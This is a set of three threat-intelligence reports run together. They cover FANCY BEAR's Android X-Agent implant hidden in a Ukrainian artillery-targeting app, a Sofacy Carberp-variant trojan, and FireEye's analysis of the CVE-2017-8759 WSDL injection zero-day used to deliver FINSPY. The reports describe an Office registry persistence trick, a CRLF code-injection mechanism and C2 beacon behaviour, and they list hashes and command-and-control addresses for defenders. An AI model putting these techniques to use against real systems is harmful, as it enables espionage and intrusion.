U S E  O F  F A N C Y  B E A R  A N D R O I D  M A L WA R E  I N T R A C K I N G  O F  U K R A I N I A N  F I E L D  A R T I L L E R Y  U N I T S B A C K G R O U N D In late June and August 2016, CrowdStrike Intelligence provided initial reporting and technical analysis of a variant of the FANCY BEAR implant X-Agent that targeted the Android mobile platform2.
CrowdStrike identified this X-Agent variant within a legitimate Android application named -30.apk.
This app was developed and used by artillery troops to simplify targeting data for the D-30 towed howitzer.
CrowdStrike investigation reveals that this app has been utilized in a possible training or operational role in at least one unit of the Ukrainian military.
Therefore, the implant likely targeted military artillery units operating against pro- Russian separatists in Eastern Ukraine.
This implant represents further advancements in FANCY BEARs development of mobile malware for targeted intrusions and extends Russian cyber capabilities to the front lines of the battlefield.
This Tipper builds on CrowdStrikes previous reporting by providing a timeline of events, contextual discussion regarding the potential drivers for development and deployment of the malware, and a description of the analytical process resulting in targeting assessments.
Finally, this Tipper leverages these assessments, in conjunction with more recently observed activity by Russia-based adversaries, to determine the potential for any future activity in the mobile malware threat space.
C R O W D S T R I K E I D E N T I F I E D  T H I S X- A G E N T  VA R I A N T W I T H I N  A  L E G I T I M AT E A N D R O I D  A P P L I C AT I O N N A M E D  -30.APK.
T H I S  A P P  WA S  D E V E L- O P E D  A N D  U S E D  B Y A R T I L L E R Y  T R O O P S  T O S I M P L I F Y  TA R G E T I N G D ATA  F O R  T H E  D -3 0 T O W E D  H O W I T Z E R  Russia offers Ukraine loans and discounts on gas Referendum on Crimea/Crimean annexation Gazprom increases gas prices, Ukraine skips payment Intrusions into Ukraines Transportation Sector Presidential Elections in Ukraine DDoS and targeted intrusions in media, financial,  political entities  in Ukraine Malicious App Observed in Distribution on Forums Protests reach their peak, govt cracks down violently agreement reached for elections Yanukovich flees to Russia Armed men appear in unmarked uniforms in Crimea DDoS vs. NATO Pro-Russian forces begin seizing government resources in Eastern Ukraine Intrusion against Ukraines Central Election Commission Malaysia Air Flight MH17 destroyed by pro-Russian Separatists Minsk I Ceasefire Signed Video depicting use of -30 application in eastern Ukraine Earliest public reporting on the Android App developed by the Ukrainian soldier CyberBerkut Emerges J A N F E B M A R A P R M AY JUNE JULY A UG SE P T OC T NO V DE C J A N F E B M A R A P R M AY JUNE JULY A UG SE P T OC T NO V DE C -3 0 D E V E L O P E D 2 0  F E B  - 1 3  A P R Ukraines Parliament convenes and plans to lay foundation for EU Association Agreement UKR Pres.
Yanukovych does about face on planned EU agree- ment, orients towards Russia Protest movement begins in Kiev Individual believed to be  the developer promotes Android App on Russian Social Media Site vKontakte Kremlin threatens Ukraine over EU agreement Anon Ops vs. Ukraine Govt Web- sites - Defacements and DDoS 2 0 1 3 2 0 1 4 LIKELY RUSSIA-BASED RECONNAISSANCE OF UKRAINIAN GOVERNMENT AND/OR MILITARY TARGETS ARMED CONFLICT IN UKRAINE MALICIOUS APP DISTRIBUTIONPOSSIBLE DEVELOPMENT TIME FRAME: MALICIOUS X-AGENT IMPLANT INJECT FOR -30 LATE APRIL 2013 - EARLY DECEMBER 2014 LEGEND Events associated with the Android app International Events or Diplomacy Efforts Ukrainian Domestic Affairs Targeted Intrusion, DDoS or Disinformation Russian / Ukrainian Confrontation J A N F E B M A R A P R M AY JUNE JULY A UG SE P T OC T NO V DE C J A N F E B M A R A P R M AY JUNE JULY A UG SE P T OC T NO V DE C Developer of benign app promoted within Ukrainian military Pro-Russian Hacktivist Group Sprut Emerges Crimea lacks electricity after physical attack Cyber attacks against Ukrainian power stations Attack on Kiev Airport System Reported testing period for ArtOS News story associating app author as head of the ArtOS project, a joint en- deavor with the Noosphere Engineering School Forums discussing the app and claiming to be associat- ed with the developers users are called out as fraudulent some users claim copy apps are distributing malware First Minsk Ceasefire Collapses Minsk II Protocol signed Targeted intrusions against Ukraines Ministry of Defense 2 0 1 5 2 0 1 6 LIKELY RUSSIA-BASED RECONNAISSANCE OF UKRAINIAN GOVERNMENT AND/OR MILITARY TARGETS ARMED CONFLICT IN UKRAINE MALICIOUS APP DEVELOPMENT, DEPLOYMENT, AND USAGE TIME FRAME LATE APRIL 2013 - AND BEYOND LEGEND Events associated with the Android app International Events or Diplomacy Efforts Ukrainian Domestic Affairs Targeted Intrusion, DDoS or Disinformation Russian / Ukrainian Confrontation CyberBerkut Releases Info Associated With Claimed Intrusion into Ukraines Security Service SBU CyberBerkut Defaces Bellingcat Website  T H E  O R I G I N A L , B E N I G N  A P P L I C AT I O N E N A B L E D  A R T I L L E R Y F O R C E S  T O  M O R E R A P I D LY  P R O C E S S TA R G E T I N G  D ATA  F O R T H E  D -3 0  H O W I T Z E R R E D U C I N G  TA R G E T I N G T I M E  F R O M  M I N U T E S D O W N  T O  1 5  S E C O N D S .
T I M E L I N E  O F  E V E N T S DEVELO PM EN T  AN D  D IST RIBUT IO N  PRO CES S OF  T H E BEN IG N  APPLICAT IO N The original application central to this discussion, -30.apk, was initially developed domestically within Ukraine by a member of the 55th Artillery Brigade.
Based on the file creation timestamps as well as the app signing process, which occurred on 28 March 2013, CrowdStrike has determined that the app was developed sometime between 20 February and 13 April 2013.
Shortly after that time frame, on 28 April 2013, an individual bearing the same name as the applications developer promoted the application on Russian vKontakte3 pages associated with the artillery forces.
The promotion of the program was likely limited to social media, and the distribution was controlled from the authors main page, (translation: Modern combat software).4 As an additional control measure, the program was only activated for use after the developer was contacted and issued a code to the individual downloading the application.
No evidence of the application has been observed on the Android app store, making it unlikely that the app was distributed via that platform.
The control measures established by the developer to limit the use and proliferation of the -30.apk application, coupled with its unique purpose, make its broad distribution on the Android store improbable.
At the time of this writing, it is unclear to what degree and for how long this specific application was utilized by the entirety of the Ukrainian Artillery Forces.
Based on open source reporting, social media posts, and video evidence, CrowdStrike assesses that -30.apk was potentially used through 2016 by at least one artillery unit operating in eastern Ukraine.
RECONNAISSANCE, DEVELOPMENT AND DISTRIBUTION OF THE MALICIOUS APPLICATION RECONNAISSANCE Given the estimated development timeframe and the promotional period for the benign -30.apk application, the program was likely available online for distribution after late April 2013.
CrowdStrike Intelligence assesses that the application likely came to the attention of Russia- based adversaries around this time frame as a result of ongoing Russian reconnaissance associated with the revolution in Ukraine.
Actors with a nexus to Russia regularly monitor social media sites in order to better understand or formulate operations against their targets.
CrowdStrike Intelligence has noted instances in which some Russia-based actors and attribution front groups have leveraged information obtained from Ukrainian social media sites in order to perform operations.
The most notable recent example of this was in the case of extortion-based threats directed against the Polish Government.5 In this particular case, the perpetrators likely sought out openly available account information from a vKontakte page belonging to a Ukrainian citizen, who was soliciting donations to aid volunteer soldiers fighting in eastern Ukraine.
The adversary then used this profile information, in conjunction with the name Pravyy Sector, to make it appear as though the extortion threats against the Polish government were originating from an ultranationalist Ukrainian group.
CrowdStrike has assessed that by performing this type of deceptive operation the perpetrator likely sought to make it appear as though Ukrainian interests were threatening the Polish government.
In addition, because the individual account hijacked for this operation had been used to try to raise funds for Ukrainian forces, the adversary may have been trying to aggravate Western governments enough to freeze the individuals accounts.
The attack did not appear to achieve its intended result.
Poland rebuffed the threats, and the owner of the vKontakte page denounced any involvement in the threat.
Subsequently the Pravyy Sector group scrubbed their social media page of much of the information associated with this failed operation.
This particular incident is an example of how a disinformation operation is staged.
While this incident is not likely to be related to the development of the X-Agent Android variant, it demonstrates the reconnaissance and pre- planning tactics that precede the rest of a campaign.
Development and Distribution CrowdStrike has discovered indications that as early as 2015 FANCY BEAR likely developed X-Agent applications for the iOS environment, targeting jailbroken Apple mobile devices.
The use of the X-Agent implant in the original -30.apk application appears to be the first observed case of FANCY BEAR malware developed for the Android mobile platform.
On 21 December 2014 the malicious variant of the Android application was first observed in limited public distribution on a Russian language, Ukrainian military forum.
A late 2014 public release would place the development timeframe for this implant sometime between late-April 2013 and early December 2014.
F O R  U K R A I N I A N  T R O O P S , A R T I L L E R Y  F O R C E S  H AV E A L S O  S H O U L D E R E D  A H E AV Y  C O S T.  I N  2 Y E A R S  O F  C O N F L I C T, T H E Y  H AV E  L O S T  N E A R LY 5 0   O F  T H E I R A R T I L L E R Y  P I E C E S  A N D O V E R  8 0   O F  D -3 0 H O W I T Z E R S ,  F A R  M O R E T H A N  A N Y  O T H E R P I E C E  O F  U K R A I N I A N A R T I L L E R Y.
During that proposed development timeframe, a number of significant events unfolded between Ukraine, Russia, and the international community.
Most notably, Russian attempts to influence Ukrainian-EU relations resulted in the large-scale, Maidan protest movement, eventually resulting in the ouster of then-president Victor YANUKOVYCH, the invasion and annexation of the Crimean Peninsula by Russia, and the protracted armed conflict in eastern Ukraine.
Therefore, the creation of an application that targets some of the front line forces pivotal in Ukrainian defense on the eastern front would likely be a high priority for Russian adversary malware developers seeking to turn the tide of the conflict in their favor.
CrowdStrike Intelligence has assessed that the distribution of the malicious application targeted the very artillery units for which the benign application was developedbrigades operating in eastern Ukraine on the frontlines of the conflict with Russian-backed separatist forces during the early stages of the conflict in late-2014.
This assessment is based on a number of factors, but chief among them is the likelihood that a military member would only trust and use an application designed to calculate something as critical as targeting data if it was developed and promoted by a member of their own forces.
The type of operational activity described here suggests an extremely sophisticated understanding of the target that only a skilled adversary would likely possess.
By late December 2014, the total number of Russian forces in the region was approximately 10,000 troops.6 Because the Android malware could facilitate gross position information, its successful deployment could have facilitated anticipatory awareness of Ukrainian artillery force troop movement, thus providing Russian forces with useful strategic planning information.
Indeed, the 55th Artillery Brigade and similar artillery units operated frequently against pro-Russian separatists in eastern Ukraine.
A video posted on 18 October 20157 specifically shows them employing the -30.apk application and operating in the vicinity of eastern Ukraine.
The choice of the Russian language character set in the application further underscores the targeting of forces within eastern Ukraine, as Russian is the predominant language utilized in that region.
An assessment of languages spoken by region based on the most recent census information illustrates the permeation of the Russian language in that region and highlights the value of providing Russian in the malicious -30.apk application.
One alternative theory regarding the use of the Russian language in the application could be that targeting may have been directed at pro-Russian  C R O W D S T R I K E I N T E L L I G E N C E  H A S A S S E S S E D  T H AT  T H E D I S T R I B U T I O N  O F  T H E M A L I C I O U S  A P P L I C AT I O N TA R G E T E D  T H E  V E R Y A R T I L L E R Y  U N I T S  F O R W H I C H  T H E  B E N I G N A P P L I C AT I O N  WA S D E V E L O P E D  B R I G A D E S O P E R AT I N G  I N  E A S T E R N U K R A I N E  O N  T H E F R O N T L I N E S  O F  T H E C O N F L I C T  W I T H R U S S I A N - B A C K E D S E PA R AT I S T  F O R C E S D U R I N G T H E  E A R LY S TA G E S  O F  T H E  C O N F L I C T I N  L AT E -2 0 1 4 .
forces operating in eastern Ukraine.
A relevant and likely counterargument for this theory, however, is that Russian forces likely have employed fire support systems and other technologies that can already calculate targeting data, negating the need for an application to perform this task.
Additionally, the application was initially developed by a member of the Ukrainian army.
An opposing force would probably not adopt technology developed by the enemy for use on the battlefield.
OU TC OME S AND CONCLUSION The eastern Ukrainian front has been markedly impacted by heavy fighting involving Russian troops and pro-Russian rebel fighters deployed to this region.
Artillery forces on both sides of the conflict have served an important role.
For Ukrainian troops, artillery forces have also shouldered a heavy cost.
Open-source reporting indicates losses of almost 50 of equipment in the last 2 years of conflict amongst Ukrainian artillery forces and over 80 of D-30 howitzers were lost, far more than any other piece of Ukrainian artillery 9.9 Between July and August 2014, Russian backed forces launched some of the most decisive attacks against Ukrainian forces, resulting in significant loss of life, weaponry, and territory.
According to open sources, Ukrainian service personnel from the 24th and 72nd Mechanized Brigade, as well as the 79th Airborne Brigade, were among the units to have suffered casualties.
International monitoring groups later assessed some of the attacks were likely to have come from inside Russian territory.10 A malware-infected -30.apk application probably could not have provided all the necessary data required to directly facilitate the types of tactical strikes that occurred between July and August 2014.
Eyewitness accounts from individuals within the impacted units reported seeing an unmanned aerial vehicle (UAV) used in the area prior to one attack, underscoring the need for precise locational data for these particular strikes and introducing the possibility U R K A N I A N R U S S I A N O T H E R U N C L E A R U R K A N I A N R U S S I A N  E Q U A L L Y 92.6 78.2 35.3 37.4 19.9 2.9 16.6 38.4 34.4 34 40.425.9204.22 W E S T C E N T E R S O U T H E A S T D O N B A S S 1.6 .4 5.4 1.3 5.2 .51.9.6.9 L A N G U A G E S  S P O K E N  B Y  R E G I O N Distribution of Russian/Ukrainian Language Use in Ukraine8  C R O W D S T R I K E I N T E L L I G E N C E  A S S E S S E S A  T O O L  S U C H  A S  T H I S H A S  T H E  P O T E N T I A L A B I L I T Y  T O  M A P  O U T  A U N I T  S  C O M P O S I T I O N A N D  H I E R A R C H Y, D E T E R M I N E  T H E I R P L A N S ,  A N D  E V E N T R I A N G U L AT E  T H E I R A P P R O X I M AT E  L O C AT I O N  that the Android malware served to support the reconnaissance role of traditional battlefield assets.
Although traditional overhead intelligence surveillance and reconnaissance (ISR) assets were likely still needed to finalize tactical movements, the ability of this application to retrieve communications and gross locational data from infected devices, could provide insight for further planning, coordination, and tasking of ISR, artillery assets, and fighting forces.
The X-Agent Android variant does not exhibit a destructive function and does not interfere with the function of the original -30.apk  application.
Therefore, CrowdStrike Intelligence has assessed that the likely role of this malware is strategic in nature.
The capability of the malware includes gaining access to contacts, Short Message Service (SMS) text messages, call logs, and internet data, and FANCY BEAR would likely leverage this information for its intelligence and planning value.
CrowdStrike Intelligence assesses a tool such as this has the potential ability to map out a units composition and hierarchy, determine their plans, and even triangulate their approximate location.
This type of strategic analysis can enable the identification of zones in which troops are operating and help prioritize assets within those zones for future targeting.
Additionally, a study provided by the International Institute of Strategic Studies determined that the weapons platform bearing the highest losses between 2013 and 2016 was the D-30 towed howitzer.11  It is possible that the deployment of this malware infected application may have contributed to the high-loss nature of this platform.
The development of the X-Agent Android malware represents an expansion of FANCY BEAR capabilities in terms of mobile malware, and illustrates the practical application of full-spectrum combat as envisioned in the eponymous doctrinal writings of General Valery GERASIMOV.
As a part of full-spectrum operations in Ukraine, Russia-based adversaries have leveraged malware on the battlefield, in the civil sector, and against critical infrastructure.
They have also engaged in aggressive information operations in the media.
In relation to this broader picture of Russian computer operations, the approach to targeting mobile smartphone and tablet devices in order to gain strategic insight into communications is a tactic that cannot be disregarded.
CrowdStrike assesses that the observed and described X-Agent implant targeting Ukrainian military Android devices running the -30.apk application is likely only the initial iteration of this type of malware.
While this malware was initially discovered in a battlefield environment, an adversary could also leverage it in attacks against non-military targets.
Mobile devices and internet-connected technology have increasingly proliferated civilian and military organizations.
This technique may very likely be deployed in the political, government, or non-governmental sectors in the near future.
1-The name -30.apk is an abbreviated variant of -30 which translates to Correction-D30.
2-For more information, contact CrowdStrike 3-vKontakte is a Russian social media networking site alike in layout and functionality to Facebook.
4-http://programs-art.at.ua 5-For more information, contact CrowdStrike 6-Igor Sutyagin, Russian Forces in Ukraine, Royal United Services Institute, March 2015, https://rusi.org/sites/default/files/201503_bp_ russian_forces_in_ukraine.pdf 7-https://www.youtube.com/watch?vqp-7e_ZGH8I 8-Data for image circa 2015.
Note: These maps do not provide data for Crimea.
According to various sources, there are estimates suggesting that, in greater Crimea 80 speak Russian, 10 speak Ukrainian, and 10 speak Tatar.
The percentage of Russian speakers is estimated to be higher in Sevastopol, most likely dues to the Russian Naval Base in the region.
Source: The Razumkov Center report on The Ukranian Citizens Identity in the New Environment: Status, Trends, Regional Differences,7 June 2016, razumkov.org.ua/upload/identi-2016.pdf.
9-http://thesaker.is/ukrainian-army-losses-in-ato-anti-terrorist-operation- according-to-the-iisss-military-balance/ 10-For more information, see Origin of Artillery Attacks on Ukrainian Military Positions in Eastern Ukraine between 14 July 2014 and 8 August 2014, https://www.bellingcat.com/news/uk-and-europe/2015/02/17/ origin-of-artillery-attacks/.
T H E  C O L L E C T I O N O F  S U C H  TA C T I C A L A R T I L L E R Y  F O R C E P O S I T I O N I N G I N T E L L I G E N C E  B Y  F A N C Y B E A R  F U R T H E R S U P P O R T S  C R O W D S T R I K E  S P R E V I O U S  A S S E S S M E N T S T H AT  F A N C Y  B E A R  I S  L I K E LY A F F I L I AT E D  W I T H  T H E R U S S I A N  M I L I TA R Y I N T E L L I G E N C E  (G R U )
New Sofacy Attacks Against US Government Agency researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/ The Sofacy group, also known as APT28, is a well-known threat group that frequently conducts cyber espionage campaigns.
Recently, Unit 42 identified a spear phishing e-mail from the Sofacy group that targeted the United States government.
The e-mail was sent from a potentially compromised account belonging to the Ministry of Foreign Affairs of another government entity and carried the Carberp variant of the Sofacy Trojan.
The developer implemented a clever persistence mechanism in the Trojan, one which had not been observed in previous attacks.
The focus of this blog will be on the attacks and the infrastructure associated with Sofacy using the new persistence mechanism as a correlation point.
The Delivery On May 28, 2016, attackers sent a spear-phishing e-mail to a U.S. government entity using an email address belonging to the Ministry of Foreign Affairs of another country.
Analysis of the attack revealed a high likelihood that the senders email address was not spoofed and is instead a result of a compromised host or account belonging to that Ministry.
The targeted email had a subject of FW: Exercise Noble Partner 2016, which is a reference to a joint NATO training effort between the United States and Georgia.
The email contained an RTF file as an attachment, with the filename Exercise_Noble_Partner_16.rtf, reflecting the same training exercise.
We have also seen related delivery documents with filenames that have a Russian military theme (Putin_Is_Being_Pushed_to_Prepare_for_War.rtf and Russian anti-Nato troops.rtf), purportedly targeting organizations in Poland according to a blog published by Prevenity.
The RTF file is a weaponized document that attempts to exploit CVE-2015-1641 to drop two files to the system, specifically, btecache.dll and svchost.dll.
The btecache.dll file is a Trojan that loads and executes svchost.dll, which is a Carberp variant the Sofacy Trojan.
Surprisingly, unlike many other espionage actors who display decoy documents after successful exploitation, this RTF document does not drop or open a decoy document after exploiting the vulnerability.
In the installation process, we observed the delivery document creating a very interesting registry key that it uses for persistence to run the Trojan.
The path to the btecache.dll file is added to the following registry key: Software\Microsoft\Office test\Special\Perf\: C:\Users\[username]\AppData\Roaming\btecache.dll This registry key is interesting, because unlike traditional methods of maintaining persistence, it does not automatically run the btecache.dll file at system start up.
Instead, this registry key will cause the DLL to load only when the user opens any Microsoft Office application, such as Word or Excel.
This is the first time Unit 42 has seen the Sofacy group, or any other threat group for that matter, use this tactic for persistence purposes.
An added benefit for the threat actor to using this specific tactic for persistence is that it requires user interaction to load and execute the malicious payload, which can cause challenges for detection in automated sandboxes.
The Carberp variant of Sofacy The btecache.dll file is the loader Trojan that is responsible for loading the svchost.dll DLL and executing it.
Both the btecache.dll and svchost.dll files contain code from the leaked Carberp source code, specifically the API resolution functions, as well as the RC2 key.
The Sofacy group has used the Carberp source code in the past, specifically discussed in a blog by F-Secure, which is the reason we call this Trojan the Carberp variant.
The svchost.dll file contains the bulk of the functionality of this Trojan, which at a high level is a downloader that 1/5 http://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/ http://malware.prevenity.com/2016/05/analiza-ataku-z-maja-2016-na-instytucje.html https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/ http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Sofacy-1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/06/Sofacy-3-1.png allows the threat actors to gain an initial foothold on the system.
The Trojan sends network beacons to its command and control (C2) serverallowing the threat actors to identify targets of interest.
The threat actors can then respond to these network beacons to download and execute additional secondary payloads on the system.
The Trojan delivered in this attack contains two network locations that it will send network beacons to, specifically google.com and 191.101.31.6.
These beacons are sent to the legitimate website google.com as an attempt to hide the true C2 beacons sent to the actual C2 server hosted at 191.101.31.6.
The network beacons are sent using HTTP POST requests with URLs created largely with random characters.
There are two exceptions where random characters are not used to construct the URL, specifically the file extension that is randomly chosen from .xml, .pdf, .htm or .zip and the base64 encoded value at the end of the URL.
The base64 encoded data is a string (J04aLsxVhHBkr19CYr0) hardcoded within the Trojan that it will then encrypt using a custom algorithm.
Figure 1 shows an example beacon sent from the Trojan to the C2 server during analysis.
Figure 1 Network Beacon Sent from Carberp variant of Sofacy The POST data seen in the beacon in Figure 1 is base64 encoded and encrypted using the same custom algorithm used to encrypt the data in the beacon URL.
We decrypted the data to determine its purpose and found the cleartext seen in Figure 2. ,
BidI,w[System Process] System smss.exe csrss.exe wininit.exe csrss.exe winlogon.exe services.exe lsass.exe lsm.exe svchost.exe svchost.exe svchost.exe svchost.exe 2/5 svchost.exe svchost.exe svchost.exe spoolsv.exe svchost.exe taskhost.exe userinit.exe dwm.exe explorer.exe svchost.exe cmd.exe conhost.exe reader_sl.exe svchost.exe cmd.exe conhost.exe SearchIndexer.exe SearchProtocolHost.exe SearchFilterHost.exe SearchProtocolHost.exe explorer.exe svchost.exe svchost.exe diskIDE\DiskMAXTOR_HARDDISK_________________________2.2.1___\52770a7af00.0.0 build0x7caa0e19 Figure 2 Decrypted HTTP POST Data Shows System Information The clear text of the data sent in the network beacons contains information regarding the compromised system, as well as malware-specific information.
The data is comprised of the following fields of data: id  The serial number of the storage device w  This parameter (whose name w could change to any character between samples) begins with a one byte value denoting the OS version followed by a one byte value for the CPU architecture.
These values are immediately followed by a new line delimited list of running processes on the system.
disk  The name of the systems hard drive, obtained from the registry key SYSTEM\CurrentControlSet\Services\Disk\Enum\0 build  The hardcoded build identifier for the Trojan version inject  (Optional, not displayed in Figure 2) If the Trojan injected its code into other processes to interact with the C2 server This callback data allows the threat actors to determine if the infected machine is a target of interest, as the beacon contains a list of running processes and the name of the storage device that could be used to filter out analysis systems or researchers.
If the actors believe the system is of interest, they will respond to these network beacons to download and execute additional secondary payloads on the system.
The Trojan parses the response to the beacons for two actions Execute and Delete between the tags [file] and [/file], as well as settings labeled FileName, PathToSave, Rundll and IP between the tags [settings] and [/settings].
This allows the threat actors to download additional files to the system, execute both executables and DLLs and delete files.
3/5 The Infrastructure The initial analyzed sample in this attack only contained a single malicious command and control location, 191.101.31.6.
We have not observed this IP address used by the Sofacy group in any previous attack campaigns, and examining passive DNS data showed no other correlations to potentially related attacks.
The sample also seen by Prevenity appeared to only have a single primary C2 domain, servicecdp[.
]com.
This domain also appears to be newly created for this specific attack campaign, with no strong links to any previous attacks.
Pivoting off the unique registry key used for persistence revealed links to a previously observed Sofacy campaign, from mid-2015.
Two additional payloads with recent compile dates of March 7, 2016, were discovered using the same persistence mechanism, and analysis of those payloads revealed one primary C2 domain, munimonoce[.
]com, and three secondary C2 domains, www.wscapi[.
]com, www.tabsync[.
]net, and storsvc[.
]org.
The secondary C2 domains may appear familiar, as they were widely publicized in a report from iSight Partners in July 2015 as C2 domains related to the Sofacy group aka Tsar Team.
In addition, the primary C2 domain munimonoce[.
]com previously had resolved to the IP 66.172.11.207, which was previously identified as a primary C2 IP for a Sofacy payload with a compile timestamp of June 11, 2015.
This particular sample also happened to use the exact same secondary C2 domains of www.wscapi[.
]com, www.tabsync[.
]net, and storsvc[.
]org, but lacked the newly discovered persistence mechanism.
The Sofacy group often re-uses infrastructure components across multiple attack campaigns, whether to speed the flow of attacks, for a lack of available resources committed, or out of sheer laziness.
In this case, the newer attack campaign appears to use newly created infrastructure, but still maintains some overlap with previous Sofacy-related C2s.
We believe this overlap could possibly be due to an oversight when adapting a previous code base with the new persistence method discussed in this blog for the new attack campaign.
The threat appears to be moving toward deployment of one-off infrastructure that can make analysis of attack campaigns and correlation more challenging.
This shift stresses the importance of analysts and researchers being able to pivot on all artifacts of a given attack, not simply relying on network indicators.
In this case, we were able use AutoFocus to pivot on a common registry key unique to this attack campaign to quickly identify where it correlates with characteristics of previous attacks.
Conclusion The Sofacy group continues its attack campaigns on government organizations, specifically the U.S. government in this latest spear-phishing example.
The threat group added a new persistence mechanism that requires user interaction by loading its payload into Microsoft Office applications when opened, which may help the actors to evade detection.
The use of this new persistence method shows the continued development of tactics and 4/5 https://www.isightpartners.com/2015/07/microsoft-office-zero-day-cve-2015-2424-leveraged-by-tsar-team/ techniques employed by this threat group, often times in clever ways as we observed in this instance.
Palo Alto Networks customers are protected from the new Sofacy Carberp variant and can gather additional information using the following tools: WildFire detection of all known samples as malicious All known C2s are classified as malicious in PAN-DB AutoFocus tags have been created SofacyCarberp Indicators Delivery Documents 03cb76bdc619fac422d2b954adfa511e7ecabc106adce804b1834581b5913bca (Exercise_Noble_Partner_16.rtf) 12572c2fc2b0298ffd4305ca532317dc8b97ddfd0a05671066fe594997ec38f5 (Putin_Is_Being_Pushed_to_Prepare_for_War.rtf and Russian anti-Nato troops.rtf) Loader Trojans c2551c4e6521ac72982cb952503a2e6f016356e02ee31dea36c713141d4f3785 (btecache.dll) be1cfa10fcf2668ae01b98579b345ebe87dab77b6b1581c368d1aba9fd2f10a0 (bitsprex3.dll) fbd5c2cf1c1f17402cc313fe3266b097a46e08f48b971570ef4667fbfd6b7301 (amdcache.dll) Payloads 69940a20ab9abb31a03fcefe6de92a16ed474bbdff3288498851afc12a834261 (svchost.dll) aeeab3272a2ed2157ebf67f74c00fafc787a2b9bbaa17a03be1e23d4cb273632 (clconfg.dll) dfa8a85e26c07a348a854130c652dcc6d29b203ee230ce0603c83d9f11bbcacc (iprpp.dll) 57d230ddaf92e2d0504e5bb12abf52062114fb8980c5ecc413116b1d6ffedf1b (clconfg.dll) Command and Control 191.101.31.6 munimonoce[.
]com wscapi[.
]com tabsync[.
]net storsvc[.
]org servicecdp[.
]com 5/5 https://autofocus.paloaltonetworks.com//tag/Unit42.SofacyCarberp New Sofacy Attacks Against US Government Agency The Delivery The Carberp variant of Sofacy The Infrastructure Conclusion Indicators Delivery Documents Loader Trojans Payloads Command and Control
FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY fireeye.com /blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP WSDL parser code injection vulnerability.
This vulnerability allows a malicious actor to inject arbitrary code during the parsing of SOAP WSDL definition contents.
FireEye analyzed a Microsoft Word document where attackers used the arbitrary code injection to download and execute a Visual Basic script that contained PowerShell commands.
FireEye shared the details of the vulnerability with Microsoft and has been coordinating public disclosure timed with the release of a patch to address the vulnerability and security guidance, which can be found here.
FireEye email, endpoint and network products detected the malicious documents.
Vulnerability Used to Target Russian Speakers The malicious document, .doc (MD5: fe5c4d6bb78e170abf5cf3741868ea4c), might have been used to target a Russian speaker.
Upon successful exploitation of CVE-2017-8759, the document downloads multiple components (details follow), and eventually launches a FINSPY payload (MD5: a7b990d5f57b244dd17e9a937a41e7f5).
FINSPY malware, also reported as FinFisher or WingBird, is available for purchase as part of a lawful intercept capability.
Based on this and previous use of FINSPY, we assess with moderate confidence that this malicious document was used by a nation-state to target a Russian-speaking entity for cyber espionage purposes.
Additional detections by FireEyes Dynamic Threat Intelligence system indicates that related activity, though potentially for a different client, might have occurred as early as July 2017.
CVE-2017-8759 WSDL Parser Code Injection A code injection vulnerability exists in the WSDL parser module within the PrintClientProxy method (http://referencesource.microsoft.com/ - System.
Runtime.
Remoting/metadata/wsdlparser.cs,6111).
The IsValidUrl does not perform correct validation if provided data that contains a CRLF sequence.
This allows an attacker to inject and execute arbitrary code.
A portion of the vulnerable code is shown in Figure 1.
1/5 https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8759 https://msdn.microsoft.com/en-us/library/ms996486.aspx https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8759 http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html http://referencesource.microsoft.com/System.
Runtime.
Remoting/metadata/wsdlparser.cs,6111 Figure 1: Vulnerable WSDL Parser When multiple address definitions are provided in a SOAP response, the code inserts the //base.
ConfigureProxy(this.
GetType(), string after the first address, commenting out the remaining addresses.
However, if a CRLF sequence is in the additional addresses, the code following the CRLF will not be commented out.
Figure 2 shows that due to lack validation of CRLF, a System.
Diagnostics.
Process.
Start method call is injected.
The generated code will be compiled by csc.exe of .NET framework, and loaded by the Office executables as a DLL.
2/5 Figure 2: SOAP definition VS Generated code The In-the-Wild Attacks The attacks that FireEye observed in the wild leveraged a Rich Text Format (RTF) document, similar to the CVE- 2017-0199 documents we previously reported on.
The malicious sampled contained an embedded SOAP monikers to facilitate exploitation (Figure 3).
Figure 3: SOAP Moniker The payload retrieves the malicious SOAP WSDL definition from an attacker-controlled server.
The WSDL parser, implemented in System.
Runtime.
Remoting.ni.dll of .NET framework, parses the content and generates a .cs source code at the working directory.
The csc.exe of .NET framework then compiles the generated source code into a library, namely http[url path].dll.
Microsoft Office then loads the library, completing the exploitation stage.
Figure 4 shows an example library loaded as a result of exploitation.
Figure 4: DLL loaded Upon successful exploitation, the injected code creates a new process and leverages mshta.exe to retrieve a HTA script named word.db from the same server.
The HTA script removes the source code, compiled DLL and the PDB 3/5 https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html files from disk and then downloads and executes the FINSPY malware named left.jpg, which in spite of the .jpg extension and image/jpeg content-type, is actually an executable.
Figure 5 shows the details of the PCAP of this malware transfer.
Figure 5: Live requests The malware will be placed at appdata\Microsoft\Windows\OfficeUpdte-KB[ 6 random numbers ].exe.
Figure 6 shows the process create chain under Process Monitor.
Figure 6: Process Created Chain The Malware The left.jpg (md5: a7b990d5f57b244dd17e9a937a41e7f5) is a variant of FINSPY.
It leverages heavily obfuscated code that employs a built-in virtual machine  among other anti-analysis techniques  to make reversing more difficult.
As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash.
Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames.
This variant runs with a mutex of WininetStartupMutex0.
Conclusion CVE-2017-8759 is the second zero-day vulnerability used to distribute FINSPY uncovered by FireEye in 2017.
These exposures demonstrate the significant resources available to lawful intercept companies and their customers.
